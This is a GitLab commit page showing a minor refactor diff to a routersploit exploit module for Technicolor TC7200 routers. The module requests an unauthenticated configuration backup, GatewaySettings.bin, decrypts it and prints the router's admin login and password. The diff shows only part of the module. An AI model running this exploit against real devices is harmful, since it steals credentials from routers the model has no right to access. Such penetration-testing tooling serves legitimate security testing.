Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
02856b3f
Commit
02856b3f
authored
Dec 01, 2016
by
Laurent Meirlaen
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
TC7200 password disclosure v2 : minor refactor
parent
bad86479
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
7 additions
and
9 deletions
+7
-9
tc7200_password_disclosure_v2.py
...les/exploits/technicolor/tc7200_password_disclosure_v2.py
+7
-9
No files found.
routersploit/modules/exploits/technicolor/tc7200_password_disclosure_v2.py
View file @
02856b3f
...
...
@@ -38,25 +38,23 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
url
=
"{}:{}/goform/system/GatewaySettings.bin"
.
format
(
self
.
target
,
self
.
port
)
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
url
=
"{}:{}/goform/system/GatewaySettings.bin"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
return
if
response
.
status_code
==
200
and
"MLog"
in
response
.
text
:
if
response
is
not
None
and
response
.
status_code
==
200
and
"MLog"
in
response
.
text
:
print_status
(
"Reading GatewaySettings.bin..."
)
plain
=
self
.
decrypt_backup
(
response
.
text
)
(
name
,
pwd
)
=
self
.
parseB
ackup
(
plain
)
name
,
pwd
=
self
.
parse_b
ackup
(
plain
)
if
len
(
name
)
or
len
(
pwd
):
print_success
(
'Exploit success! login: {}, password: {}'
.
format
(
name
,
pwd
))
else
:
print_error
(
'Exploit failed. Unable to decrypt config file.'
)
print_error
(
"Exploit failed. Could not extract config file."
)
else
:
print_error
(
"Exploit failed. Device seems to be not vulnerable."
)
print_error
(
"Target is not vulnerable"
)
@staticmethod
def
parse_backup
(
backup
):
p
=
backup
.
find
(
'MLog'
)
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment